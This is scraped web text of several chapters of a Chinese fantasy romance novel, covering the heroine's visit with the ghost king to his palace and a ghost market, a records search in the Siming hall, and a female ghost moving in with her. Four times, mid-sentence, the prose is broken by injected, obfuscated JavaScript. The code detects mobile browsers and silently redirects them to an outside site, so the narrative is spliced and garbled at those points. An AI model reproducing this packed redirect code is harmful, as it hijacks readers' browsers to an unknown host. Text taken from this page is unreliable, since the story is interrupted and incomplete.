这声音响如洪钟，震得洛念安微微有些发懵，直到从轿子里伸出一只苍白而又修长的手，那手的食指带着指盖宽的银戒，上面刻着一串让人看不懂的字符，手腕处是银色护腕，花纹繁杂，坚固、冰冷。那只手递到洛念安面前，做出邀请之势。 这下，她就知道是谁了。 洛念安露出笑容，伸手轻轻搭在那只手的手心处。那手的主人随即轻轻握住她的手，洛念安便就顺着力道抬腿上了轿撵。 那只手又松开了。 洛念安有些不解，但很快就有人来为她掀开帘子，她甚至都没犹豫一下，不用弯腰就进了轿子。甫一进去，入眼的便是一抹鲜艳至极的红色。 洛念安顺着那抹红色往上看去，微微一愣。 是易桉。 准确地说，是不一样的易桉。模样较之前倒没有太大的变化，只是看着似乎长大了几岁，五官更加立体深邃，正倚靠着座，支着下颚，看着她，眼含笑意。他身着一袭华丽红衣，头戴精美繁复的银冠，颈上是层叠的银项圈，落至胸前。这一身装扮衬得他更加俊美逼人，看得洛念安眼中满是惊艳。 站着的人呆住了，坐着的人同样愣了神。 “他今日这身装扮看着像是要去娶亲的......新郎官？！”这个想法一出，洛念安惊得险些要原地栽倒。 哦，原来是轿子动了。 易桉站起身，银饰在他的动作下叮当作响。他来到洛念安身前，朝她伸手，颇具风度地带着她落座，然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14345588|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己也在她右侧坐下。这座椅本身是不窄的，只是易桉穿得华丽非凡，自己今日恰巧也换上了同样华丽的裙衫，这样铺散开来，倒显得有些拥挤了。 轿撵十分平稳，轿内很静，角落里的香炉燃着好闻的熏香。 洛念安突然有些莫名的紧张，正欲说些什么来缓解一下，就听见易桉道：“听闻姐姐，在神界相亲？” “咳咳咳......”洛念安猛地被口水呛住了，咳了好几下。易桉为她轻拍着后背，又递过来一杯温茶。 “谢谢。”洛念安好容易顺了气，低头嘬了几口茶，目光游移，莫名其妙有些心虚。她抬头看向易桉：“是我母后的安排，我本是不知情的。” 易桉轻轻“嗯”了一声，但听着不是很高兴，支着下颚面朝另一边去了。 洛念安探出脑袋去看他，问道：“你是如何得知的呀？” 易桉道：“世上无难事。” 洛念安轻笑出声，她就猜到他会这样说。 易桉又偏过来看向洛念安，道：“姐姐这般盛装出席，想来对此事也是上心的。” 洛念安有点搞不清他现在是在闹哪出，但还是很有耐心道：“若是我说是我母后的安排我不得不听，你信吗？” 易桉垂眸盯着她望了半晌，看得洛念安有些不好意思地端坐了回去，他道：“信啊，姐姐说的话我都信。” 洛念安露出笑容，又看向他，他右侧面颊上的银面具，遮住了小半张面容。 “现在是你的真容吗？”她问。 易桉垂眸，沉默片刻，才点头。 洛念安心中有些欢喜，她脱口道：“很好看。”说完自己先愣住了，看样子易桉也同样怔愣住。 洛念安不敢看他了，又捧起杯子嘬了几口茶，眼看着要见底，才听见易桉的声音，他先是轻笑了一下，又道：“姐姐何不问问这面具遮住的是什么？” “不重要，”洛念安放下杯子，很认真地道：“无论是什么都不重要，我都不会改变方才的看法。就像......”她思索片刻，继续道，“玫瑰长着尖刺。这世上本就任何没有完美的东西。” 易桉深望着她，忽地桀然一笑：“姐姐说的在理。” 洛念安察觉到自己又开始讲一些无聊的大道理了，自觉有些班门弄斧的味道，很不好意思：“抱歉，想来你也不需要这样苍白的宽慰。” “怎么会，”易桉回的快，“我需要，我爱听。” “……”洛念安将手中的银杯翻来覆去地转，转了半晌才想起来问：“我们这是去哪？” 易桉递了一杯新的茶过来，顺道抽走了洛念安手中原本的茶杯，道：“请姐姐去我那里坐一坐。说好了我做好饭等姐姐，饭已经做好了，不过不在玉兰观。”他看向洛念安，“姐姐要去吗？” 洛念安微笑道：“如今还可以不去吗？” 易桉似乎是很认真地思考了一番，道：“那我差人送到玉兰观也是可以的。” 洛念安笑了笑，又问道：“你那处？是你的家吗？” 易桉却是摇头：“不是，只是个寻常的落脚地。” “嗯？”洛念安不解。 易桉解释道：“我不常住在那里。事实上也不曾久居在任何地方，没事总会到处走走，居无定所。” 洛念安点点头表示明白，温声道：“那就去吧，去看看你会生活的地方。” 19. 身入鬼城共游鬼市 轿子稳稳行进，忽然进了一处喧闹之地，有人在七嘴八舌说着话。洛念安凝神细听，听到有人说： “是王他老人家的轿子。” “王回来了！” “王今天的轿子好不一样啊，像人间娶亲的花轿！” “好好看啊！” “这是什么意思？难道我们要有王妃娘娘了？” “哦——要有王妃娘娘咯！” “......”洛念安吓得不敢再听了，听到身旁之人的轻笑声，也不敢侧目去看。 “一群不懂事的东西胡言乱语，姐姐不要往心里去。” 洛念安连忙摆手：“没有的事。” 外面还在吵闹，易桉不咸不淡地道了一句：“把嘴闭上。”话落，四面又归于寂静。 洛念安默默低头喝茶。察觉到轿子停了下来，身旁之人道：“姐姐，到了。”便站起身，先行出去了。 洛念安放下茶杯，也起身跟了出去，出了门，看见易桉站在下面，见到她，朝她伸手。 洛念安微微一笑，将手递了出去，在易桉的搀扶下下了轿子。下去后，她才看见悄咪咪跟在轿子后面的一大群......妖魔鬼怪，吓得立马抽回了手。 易桉察觉到手上一空，嘴角瞬间落了下去，往轿子后扫了一眼，众鬼一溜烟消失不见了。 洛念安看着他们争先恐后逃跑的背影，有些好笑，小声对易桉道：“其实没关系的。” “有关系，”易桉哼了一声：“一群碍事的东西。” 洛念安无奈笑笑，才抬眼看向面前的建筑，便是微微一愣。面前所建宛如神界的神殿，甚至比神殿还气派一些。她又往周围看去，发现这里不止这一座建筑，其他的建筑虽也是以红调为主，绵延至远处，类似于中原皇城，但面前这座宫殿与它们相比仍是最突出显眼的。 “姐姐，请吧。”易桉做出请的姿势，便先行迈步。 洛念安跟在他身边，进了这座宫殿，进门之前她抬眸看了一眼殿门上的牌匾，上面写着“安乐宫”。 没想到鬼王的一处落脚地会起名“安乐”，这听上去似乎和他的人设不太相符。 洛念安兀自笑了笑，下一刻便看见满目的玉兰花，脚步一顿。这里的玉兰花开得极为茂盛，玉石板铺在玉兰树林间，一路向前走着，一路沐浴着盛大而又浪漫的花瓣雨。洛念安忍不住伸手接住一片，问身旁的易桉：“你似乎很喜欢玉兰花。” “嗯，”易桉侧眸看向她，道：“好看。” 洛念安想起初遇那天，易桉和花瓣雨一齐出现，微微一笑，道：“确实很好看。” 这座宫殿似乎种满了白玉兰树，两人穿梭在林间，易桉带着洛念安进了最前面的正殿，殿内很大，很空旷，台阶之上摆着一张宽大的黄金案台，洛念安被带着坐在案台之后的黄金座椅上，心想这案台这椅子随便扣下来一块都够好吃好喝好一阵子了。 案台上已经摆满了各种各样的吃食，洛念安问道：“这些都是你做的嘛？” “嗯。”易桉坐在她身边，递来一双银筷。 “这么多。” 怕不是他忙活了一下午。 易桉边给洛念安夹菜边道：“还好，姐姐快尝尝。” 洛念安笑道：“你的手艺一向是好的，不用尝就知道。” 易桉也笑：“姐姐喜欢就好。” 为了不辜负易桉这一番辛苦，洛念安觉得自己吃下的东西都快堆到嗓子眼了。易桉提议带她出去转转时，她毫不犹豫地点头答应。 出门之前，易桉换了一身衣服，那身红衣褪去，又换了一身黑白金配色的衣衫。头上的银冠去掉了，颈上仍带着银项圈，卷发未束，随意披散着。只是面上仍戴着小半面具遮住右颊。 洛念安还以为轿子上那套是他日常的装扮呢，现在看来，似乎不是？ 当然，她也没闲到去管人家的穿衣打扮。 易桉带着她走了好一阵，拐到了一个热闹非凡的集市，集市上处处点灯，亮如白昼，这样的热闹程度，竟比人间皇城的集市也不差。 洛念安看着集市上络绎不绝的妖妖鬼鬼，有猪头人身，有牛头马面，更多的戴着面具，形形色色，看不见本来面目，她偏头道：“鬼市？” 易桉笑了笑，道：“算是吧。” 洛念安好奇：“这里都卖些什么？” “一些人界买不到的东西。”易桉侧目看她，“姐姐可以去看看。” 洛念安正有此意。两人又往前走了一段，正式进入闹市。喧闹的集市一瞬间鸦雀无声，下一刻又爆发出更响的呼喊声：“王来了！还带着王妃娘娘！” “王妃娘娘！王妃娘娘好美！像......” “像天上的神仙！” “你真是胡说，明明比神仙好看一百倍一千倍。” “就是！” 闻言洛念安不好意思地垂下头去，眼看着买东西的卖东西的都停止交易往这边围过来，她忽然紧张了起来。 “没规矩。”易桉开口斥了一句，又道：“我身边这位你们该尊称殿下，再没规没矩地乱叫，自己拔自己舌头。都滚回去该干什么干什么。” 他说完，围上来的妖妖鬼鬼“是是是”了半天，然后都麻溜滚了。 滚是滚了，但视线都粘在洛念安身上。虽带着好奇，但都十分友善。洛念安便觉得没什么，随意在一处小摊前停了下来，好奇张望着上面的瓶瓶罐罐。摊主是一位白胡子老爷爷鬼，见洛念安和易桉停在自家摊前，别提多骄傲了，脸上的褶子都多了一倍，他忙不迭失地介绍着：“王上，这位殿下，老身所卖之物可以让闻了它的人暂时丧失五感。”见洛念安拿起来一个瓶子，他介绍道，“殿下手上拿的那个可以让人丧失触感。” “丧失触感？”洛念安觉得新奇，问道：“只有人可以吗？” 老爷爷答：“鬼也可以。” 洛念安问道：“我身旁这位也可以吗？” 易桉挑眉。 老爷爷看了一眼易桉，吞咽一下，老实道：“这个老身不太知道，毕竟没有试过。” 洛念安笑了笑，她想试试自己可不可以，便问道：“丧失后何时能恢复呢？” “寻常一炷香的时间就可以，老身这里有解药，闻了解药很快就可以恢复。” 洛念安准备尝试一下，却忽然发现自己没钱，顿了一下，刚准备放下，视线里易桉放了一块金子在摊位上。摊主爷爷忙推脱：“这位殿下能看上老身的东西是老身的荣幸，不用王上破费，就当是老身孝敬王上您的。” 易桉道：“一码归一码。” 摊主爷爷便点头哈腰地收了那块金子，脸上的褶子又多一倍。 洛念安轻声对他道：“谢谢。”想着回去就还给他，然后打开瓶塞，放在鼻子边嗅了嗅，好奇地眨着眼睛。 易桉歪着头，眼含笑意看着她，问道：“姐姐，如何？” 洛念安放下瓶子，伸手握住了易桉手腕上的护腕，发现竟然真的毫无触感，惊奇地睁大眼睛看向易桉，后者却无半点反应，好似愣住了。洛念安沉浸在惊奇里全然没注意到，又抬起双手互相握住：“好像真的没感觉了。”这感觉真稀奇。 若是有人要挨打，提前闻了这秘药，岂不是毫无痛觉？ 她新奇了没一会儿，发现触觉很快就恢复了，皱了眉。 易桉问道：“怎么了姐姐？” 洛念安道：“触觉又恢复了。” “这么快？”摊主爷爷似乎有些惊讶，片刻后，他恍然大悟道：“许是殿下自身修为高深，这药效维持不了多久。” 洛念安点点头，道：“这样啊。”她刚准备收起瓶子带回去慢慢玩，那瓶子却被人抽走了。洛念安顺着看过去，发现易桉正将瓶子放在鼻前，又放下，视线落在她身上。 洛念安好奇地戳了戳他的胳膊，问道：“如何？” 易桉摇头：“无感。” 洛念安咧嘴一笑，露出贝齿，对摊主爷爷道：“您这东西很厉害。” 摊主爷爷脸上的褶子再多一倍。 易桉将手上的瓶子递给洛念安，她问道：“恢复了吗？” 易桉点头。 果然，这药效是与修为有关的。 二人继续往前逛去，他们一离开，那老爷爷的摊子就被群鬼包围，大家争先恐后的抢着方才易桉和洛念安试过的东西，摊子差点被掀翻。 让洛念安停下的第二个摊子的摊主是一位美女鬼，她买的是一些奇形怪状的药丸。她眉飞色舞地介绍着：“这个可以压制鬼气，这个则可以压制妖气。” 闻言，洛念安微微蹙眉，她一皱眉，美女鬼便闭嘴不敢说了。她问：“压制后任谁都分辨不出吗？” 为了验证，美女鬼拿起一粒自己吃了，开始洛念安是能辨出她身上的鬼气的，吃了药丸后没一会儿，那鬼气竟然消失了。 洛念安的眉头蹙得更深了。寻常人肯定分辨不出妖气鬼气，能分辨出这些的自然是他们这种要捉拿妖鬼之人，若是连他们都分辨不出来，那为非作歹之物岂不是会更加猖狂？ “姐姐放心，”易桉似乎是猜出她心中所想，解释道：“能买到这种药物的都是经过我许可的，不会趁机到人界害人。” “是啊，”美女鬼赶紧接道：“来买这药的都有王上签印的许可文书，我看过文书才会卖的。” 这是洛念安万万没想到的，她惊讶地看向易桉，随即笑了笑，道：“鬼王阁下当真是治理有方。” 易桉勾唇道：“哪里。” 洛念安问向摊主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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任由群鬼嘲笑，那位变身成美女的鬼似乎毫不在意，甚至还十分满意自己现在这样，自顾自跑走独自欣赏去了。 “别光给别的鬼试啊，你自己吃一个右边那个，看看是什么样。” “就是啊。” “吃一个给我们看看。” “你吃了我们待会就买。” 听群鬼这样说，洛念安忽然有些好奇了，难道这英俊男鬼原本并不英俊？但是她又不能说。 “好！”英俊男鬼出声道：“今日王和这位殿下大驾光临，我就给大家助助兴。”他说完，吃了一粒右侧的药丸，突然化身成了一个胡子拉碴的矮胖大叔。 群鬼爆发出热烈的起哄声。 洛念安也微微睁大眼睛，原来这药丸竟真的如此神奇。 后来易桉付了钱，就当买下了那两粒药丸。他们离开摊位，继续往前走着。 洛念安笑着道：“想不到这鬼市竟真的卧虎藏龙，有这样多的稀罕物。” 易桉道：“姐姐看到的只是极少数，这鬼市尚有许多生人冒险进来，重金求物。” 洛念安点头，这个她在人界时多少都略有耳闻，她问道：“你经常来吗？” 易桉摇头道：“不常来，平日里没兴致逛它。” 洛念安笑了笑，看向他道：“那今日怎地又有兴致了？” 易桉侧目看过来，唇角带笑：“姐姐难得来做客，自然是为了陪姐姐。” 洛念安有些不自在地移开视线，便落在了一处卖灯的摊位上。易桉顺着看过去，道：“去看看？” 洛念安点点头，和易桉一起停在摊位前，摊主是一位大婶鬼，她说：“殿下看上哪个了？我送给殿下玩玩。” 易桉已经先付了钱，洛念安投过去一个感激的眼神。她相信他们是真的想要赠送的，但她也是真的不想占人家便宜的。她的视线落在一盏闭合的莲花灯上，下一刻大婶鬼已经点了火将灯柄塞到洛念安手上了。 片刻后，那盏闭合的莲灯突然展开了，每一片花瓣上都燃着小蜡烛，然后开始转圈，甚至还唱着歌。洛念安惊了一下，将灯提起来左看右看上看下看，怎么也没看明白这声音到底是哪发出来的。 直到听见易桉的笑声才反应过来自己的样子一定傻极了，洛念安有些窘迫地提着灯先跑了。 易桉跟上来，两人沉默地走了很长一段距离，一直听着这盏莲灯唱歌。 “......”洛念安有些忍不住请教道：“它，怎么停下来啊？” “唱累了自然就停下来了。” “哦......啊？” 20. 司命殿内查无此人 洛念安坐在一个小摊前，她面前摆着两碗元宵，这是逛的有些乏了所以两人商量寻个人少处休息一下顺便吃点夜宵。易桉离开了，说去给她买些好吃的。 等了有一会儿也不见他回来，洛念安便站起来往出走了几步张望一番。正望着，肩膀忽然被人一撞，洛念安顺着回头看去，撞人那人也恰好回头，便这样对上视线，是一个步履匆匆地披着紫色斗篷的女子，确切点来说，是女妖。 不知道是不是错觉，洛念安总觉得那女妖的眼神似乎别有深意。 她蹙了蹙眉，而易桉此时也恰好带着打包好的东西回来了。洛念安便收回视线，往易桉那看去。 “姐姐，怎么了？”易桉看见她眉头蹙着边把东西放下边问。 洛念安摇摇头，道：“无事，我在看你有没有回来。” 易桉轻轻笑了笑：“抱歉，让姐姐久等了。” 二人落了座，洛念安才看清易桉买回来的东西：“这是？” “烤包子，”易桉道：“西域美食，姐姐尝尝。” “好。”洛念安拾起筷子尝了一口，频频点头，竖起大拇指道：“好吃。” 易桉笑着提醒道：“若姐姐觉得油腻，便吃些元宵。” 洛念安嘴里全是烤包子，腾不出地方说话，只能奋力地点头“嗯嗯”几下。 后来，易桉顺着洛念安的意思将她送回了玉兰观。一下子变成独居，洛念安还颇有些不习惯，晚上睡觉也不是很踏实了。第二日便受召回到神界，众上神聚在紫薇大殿商讨方常远的事宜。 方常远的事情在神界引起了一番热度不小的讨论，而揪出方常远的洛念安自然也居于话题热榜之首。 “方将军竟然做出这种事，真是匪夷所思。” “也怪，这么多年都没被发现，怎么珈洛公主一飞升就发现了？” “你别说你还真别说。” 洛君逸将文书重重一合，威严的眸光扫向垂首立在下面的方常远，语气透着愠怒：“常远，你可有话要辩？” “无。”方常远的头垂的更低：“常远认错。” 洛君逸看向锦和：“山茶郡内鬼魂现下何处？” 锦和看了一眼站在方常远身边的洛念安，颔首回道：“据消息，均被珈洛殿下度化，魂归忘川。” “……” “……” “什么？！度化了？！” “度化术不是早已失传了吗？” “珈洛，”洛君逸面无表情却目光沉沉：“是你做的吗？” “是。”洛念安垂首：“儿臣见他们被困于死地，且四百年都没化作恶鬼，便施法助他们转入轮回了。” 洛君逸沉吟片刻，问道：“你从何处习得度化术？” 洛念安答：“这个儿臣也不太清楚。” 明修摸了半天胡子，道：“无人教授，却习得度化之术，莫非天赋？” 锦和也点头道：“母神尚无人教授，想来此法本就为天赋之术。” 殿议的最终结果是方常远被判贬下人间。对于一个在神界养尊处优四百年的上神来说，这个结果自然是相当严重，一直生活在云端之人又怎甘心一朝堕入泥沼。 离开紫微大殿，洛念安看着身后跟了两个神兵看守的方常远，最终还是走上前去对他道：“方将军，若你在人界遇到难处，可以到白玉兰村的玉兰观来寻我。” 方常远没有一丝责怪之色，这位曾经的少年帝王和颜悦色道：“多谢殿下了，到时候一定去叨扰殿下。” 洛念安微微一笑，道：“方将军，有缘再会。” 方常远留下一句“再会”，便和神兵一起往天门方向去了。 洛念安和柳渊道别，只身一人往一处走去，最终停在了司命殿前。她抬头看了一眼牌匾，确认无误后才抬步走了进去。她一进去，便看见一片无界的花海，五颜六色的花朵上方飘着点点白色荧光。司命星君正蹲在一处没开出花的花苞前浇水，她是一位年岁稍长的女上神，属文职，在洛念安出世前便已飞升，自她飞升成神后就一直掌管着人间之事。 看见来人，司命放下水壶，起身迎上来：“珈洛殿下。” 洛念安微微颔首：“司命星君。”她继续道，“今日来到星君处，是有一事想拜托星君。” 司命满面慈祥，温声道：“殿下请讲。” “不知山茶郡之事星君是否听闻？” 司命一般是不去参加殿议的，她道：“这件事老身自然有所耳闻。” 洛念安点点头，道：“珈洛今日前来，是想为山茶郡的亡魂求一个平安顺遂的下一世。” 闻言，司命却是轻轻一笑，她道：“可是常远托殿下来的？” 洛念安有些不解，摇头道：“非也，是我自己。” 司命转身，走到刚才那片花苞处，重新拾起水壶，仔细地浇着水。洛念安跟在她身边看着，听见她道：“昨日常远也来过，所求与殿下一样。” 洛念安微微一愣，道：“我竟不知。” 司命道：“老身知常远犯了错，但他仍是个好孩子，殿下也是。”她放下水壶，站起身，放眼望去这片花海，有的花朵似要凋落，“因常远而丧命于山茶郡的无辜亡灵老身会让他们下一世平安顺遂得偿所愿，但是四百年前山茶郡的百姓，恕老身无能为力，他们的果并非神界介入所产生的果，他们下一世如何，自有天意。” 洛念安点点头，扬起笑容：“足够了，多谢星君。” 她望着眼前有的花苞正在绽放，脑中灵光一闪，道：“还有一事麻烦星君，我想查阅一下一个人的生平。” 司命转身道：“随老身来。”她带着洛念安进了殿中，步至案台前，拾笔蘸取墨汁提至一张空白的卷轴上，问道：“殿下所寻那位，姓甚名谁？” 洛念安的视线从堆积成山的卷轴上移开，道：“姓洛，名太初。” 司命落笔前看了她一眼，方才落笔。又问：“何时在世？” “五百年前。”洛念安补充道，“男子，幼时父母双亡。” 司命将这几句话写在卷轴上，卷轴上的字却忽然消失了，卷轴恢复空白。 洛念安愣了愣，问道：“这是何意？” 司命放下笔，道：“查无此人。殿下可是记错了？” “不会的，”洛念安摇头，又觉得纳闷至极，“我不会记错的，为何会查无此人？” 司命道：“若殿下确定此人在五百年前存活于世， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14385178|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么现下查无此人的原因有三。” “一，脱离轮回道。” “二，被干预因果。” “三，前几日帝君来取走了一些卷轴，现下也许在帝君那处。” 洛君逸肯定不会特地来取走洛太初的卷轴，那么...... 洛念安问道：“何为‘被干预因果’？” 司命答道：“即为，有轮回道之外的人或物出现，彻底改变了他原本的人生轨迹。不过，该情况多半也能查到他的生平，除非，他并不唤作此名。” 洛念安愣在原地，她才反应过来洛太初在认识她之前是不叫洛太初的，十岁小儿也不可能没有名字，所以当初他说自己无名无姓多半是假的。可是他为何要这样说？是为了能留在她的身边吗？ “殿下？” 洛念安回神，看向司命，道：“好的我知道了，此番多有叨扰，珈洛先行告辞。” 原本想要偷偷看一眼洛太初离开后过的怎么样，现在好了，直接查无此人。五百年，时间真的太久了，久到洛念安有时甚至分不清那五年的光阴究竟是幻境，还是真实存在过的现实。 就算是现实又如何，无论那一世的他过得如何，孟婆汤一喝，奈何桥一过，便全都忘了，全部，包括她。再来一世，他也不是当初那个洛太初了。 洛念安推开院门，院中满地落花，她走过去拾起扫帚，慢慢扫了起来。好不容易将院子里的落花都扫得堆做一个小山丘，洛念安轻轻呼出一口气，支着扫帚叉着腰休息了一会儿，然后道：“不用躲了，出来吧。” 话音一落，树上倒吊下来一只红衣女鬼，落在洛念安面前，龇牙笑着跟她打招呼：“珈洛公主，好久不见~” 还好洛念安一早练就了处变不惊的本领，不至于被吓得飞出二里地，但她还是好心微笑着提醒道：“我知道是你，但是下次不可以倒吊在树上吓人了哦。” “好的。”叶蓉从树上掉了下来，摔在地上，又麻利地爬起来，掸了掸身上的灰，然后来抢走了洛念安手上的扫帚，“我来帮你吧珈洛公主。” 支撑物被拿走，洛念安踉跄了一下，但还是微笑道：“有没有一种可能，我已经扫完了呢？” 叶蓉又放下扫帚，道：“那我去给你做饭吧，我会做饭。” 洛念安觉得有些好笑：“你不是说你不吃熟食吗？” 叶蓉不好意思地笑了笑：“其实是吃的，但上次不是王在嘛，我不敢。” 洛念安点点头，道：“说吧，来找我所为何事？” 叶蓉露出讨好的笑容：“其实我是来投奔公主你的。” “投奔我？”洛念安扬眉，道：“或许你该去投奔你们王上，跟着我是不会吃香的喝辣的。”顿了顿，她补充道，“可以吃辣的。” “王？”叶蓉撇撇嘴，“我不敢，而且平日我们连他在哪里都不会知道的。” 洛念安轻轻笑了笑：“他看着没这么可怕呀。” 叶蓉还是撇嘴：“那是对公主你。你知道王上他称王时期杀了多少只鬼吗？我都怀疑他不是要称王而是要灭了鬼界了。” 洛念安分给叶蓉一把从柳渊那里顺来的瓜子，一神一鬼就这样席地而坐，洛念安道：“细说。” 21. 今有女鬼投奔念安 叶蓉磕着瓜子：“说起来我成鬼时间比王上还早呢。” 洛念安也磕：“易桉他大概是何时成鬼的？” “易桉？”叶蓉皱眉：“易桉是谁？” 洛念安解释：“你们王上。” 叶蓉歪着头，眉头蹙的更深了：“王上他名唤易桉吗？我还是第一次知道。王上他应该是四五百年前出世的吧，四百年，肯定是没有五百年的。其实具体的我也不太清楚，毕竟我知道他的时候他已经开始大杀四方了。” “怎么个大杀四方法？” “基本上是见鬼就杀的程度吧，那时候鬼界并不统一，可能会有势力稍大一点的，但不至于谁见都怕的地步，都是散的，无拘无束想做什么做什么。但其实现在也差不多，王也不怎么管的，不过坏事做多了传进王上的耳朵里，下场估计很惨。”叶蓉想到什么就说什么，“我听说他特别喜欢挑修为高的鬼杀，给我吓得哟，那时候我忙着逃命躲他呢，但后来还是碰到过一次。” 叶蓉一副惊魂未定的样子，洛念安觉得有些好笑，问道：“然后呢？” “然后他没杀我。” 洛念安点点头：“看出来了。” 叶蓉笑了一下：“其实根本没打起来，他看见我就走了，估计看我是个女鬼吧，可能王他有一种不与女子计较的美好品德。” 洛念安轻笑出声，又问道：“你那时见他，是那日的模样吗？” “不是啊，”叶蓉道：“一开始他戴着一整张面具，其实后来我又碰见他一次，可能是我杀了太多人惊动他老人家了，第二次见到他着实给我吓得不轻，我以为我要死到临头了。那时候他戴着小半张面具，其实也没看见全貌的。” “他在我们之前去找过你？” “是啊，比你们早很多的。” 洛念安点点头，轻轻笑了笑，想来易桉听说她的故事，做出了与她同样的选择。 叶蓉又道：“上次那就是王的全貌吗？” 洛念安思索道：“差不多。” “挺好看哈。” “我也觉得。” “还有瓜子吗？还挺好吃的。” 洛念安把自己手中的瓜子分给叶蓉，道：“我就拿了一点，这些吃完就没了。” “好吧。”叶蓉分外珍惜这最后的瓜子。 洛念安问她：“所以你为何来投奔我？” 叶蓉把嘴里的瓜子嗦得没味儿了才舍得磕出里面的子儿，她道：“在外面游荡这么久太无聊了，觉得与你投缘，便来投奔你了。” 洛念安笑道：“我这里可没有山珍海味哦。” “没问题，我什么都能吃，不吃也行。” “还要干活哦。” “没问题，你不在的时候我还帮你把兔子喂了呢。” 洛念安这才注意到角落里捧着菜叶子啃的小兔子。她笑了笑，道：“好吧。” “哦对了，”叶蓉道：“我去九天郡看了，那姓宋的老东西确实如你所说的做了，所以他那个猪狗不如的儿子我就暂时先放过了。” 洛念安弯唇一笑，道：“好，你可以随时去监督。” 洛念安起身拍了拍手，道：“瓜子壳交给你啦，我去做饭。” “没问题！”叶蓉拿起扫把奋力扫地。 洛念安做好饭，招呼叶蓉吃饭。叶蓉拾起筷子尝了一口，她那张苍白的脸好似红了起来，忍不住“斯哈斯哈”。 洛念安歪头看看她，反应过来道：“是不是太辣了？” 叶蓉走到水缸边拿了个碗舀了一瓢水进去，仰头“咕嘟咕嘟”喝了一整碗的水，她一边“斯哈”一边道：“没事，很好吃，我多喝点水就可以了。”说完她又舀了一瓢。 洛念安忍不住发笑。叶蓉辛苦地吃完了这顿饭，主动揽下了洗碗的活儿。 夜晚，洛念安说把床让给她睡，她死活不愿。于是洛念安指着另一个角落的席位：“或者你也可以睡在那里，易桉之前睡觉的地方。” 叶蓉看了一眼，疯狂摇头，自己抱了一捆稻草，在洛念安对面的角落里铺开，道：“我睡在这里就可以了。” 洛念安看着这件小小的屋子，四个角落三个角落都有人睡，好笑地摇摇头，道：“那好吧。”她走到床边坐下，看着叶蓉已经躺了下去，道，“还习惯吗？” “当然了，”叶蓉看着她道：“我倒吊着都能睡。 洛念安笑了笑，也躺了下去，很快便进入梦乡。 翌日一早，洛念安睡醒出门就看见叶蓉在扫院子，一瞬间她还有些晃神，以为是易桉又回来了。 “早啊，珈洛公主。”叶蓉站在树下，堆起的花花叶叶在她脚边，正对着洛念安笑，笑容明媚。 洛念安也回以微笑：“早。你不用唤我珈洛公主，我听着着实有些别扭。” “那唤你什么？我俩谁更大些？” 洛念安道：“我如今年近六百。” 叶蓉道：“那是你更大些，不如我就唤你洛姐姐？” 洛念安微笑道：“可以。” 正说着她忽然收到了锦和的消息：“殿下，帝后传你晌午至清漓殿。” “好的，多谢真君。”退出读神阵，洛念安正沉思着。就听见叶蓉问：“洛姐姐，怎么了？看你好像突然不太开心。” 洛念安摇摇头，道：“是我母后，唤我晌午回神界到她殿中。”但她总觉得心里不安。 “你母后？”叶蓉蹙眉片刻，恍然大悟道：“你竟然是神界的公主？！” 洛念安眨眨眼，不太好意思地承认：“是的。” 叶蓉又道：“神界近年来如此不景气吗？” “……”洛念安眉头蹙着，嘴角却是上扬着：“这倒不是，只单纯是我不景气。” “好吧。”叶蓉也懂得不要打破砂锅问到底的道理。 洛念安回了神界，先去了珈洛殿，这次再去，珈洛殿里里外外上上下下都被修缮收拾了一番，简直焕然一新，杂草没了，灰也没了。她正盯着摆在正殿玉案上的大金条发呆，柳渊晃着扇子就进来了。 “念将军，没钱的时候你愁我能理解，现在金子堆在你面前，你还愁呢？” 洛念安顺着声音望过去，露出笑容，道：“柳将军你来的正好，我正好有一件事想要请教你。” 柳渊拾起一根金条掂了掂，又放了回去：“说说吧，我听听是何难事竟然能难住这样聪慧的念大将军。” 洛念安轻轻笑了笑：“柳将军还是别开玩笑了，我是正经被难住了。”顿了顿，她接着道，“是这样的，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411505|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欠一个人一些钱。” “你又欠谁钱了？什么意思？这些金子都不够还吗？” 洛念安搔了搔面颊，蹙眉微笑着，道：“够肯定是够的，但是这些金子正巧也是来自那个人。也就是说，这些金子来自他，我又要用这些金子去还欠他的钱，这肯定是不太好。” 